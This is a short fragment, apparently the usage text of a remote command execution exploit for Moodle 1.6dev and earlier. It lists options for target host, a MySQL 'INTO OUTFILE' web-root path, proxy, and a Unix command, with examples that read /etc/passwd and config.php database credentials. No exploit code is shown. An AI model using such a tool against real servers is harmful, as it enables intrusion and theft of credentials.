Moodle <= 1.6dev remote commands xcution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path ( ex: /moodle/ or just /)

path to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement (default: ../../www)

specify a port other than 80 (default value)

a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file, cat config.php to see database username and password

send exploit through an HTTP proxy (ip:port)
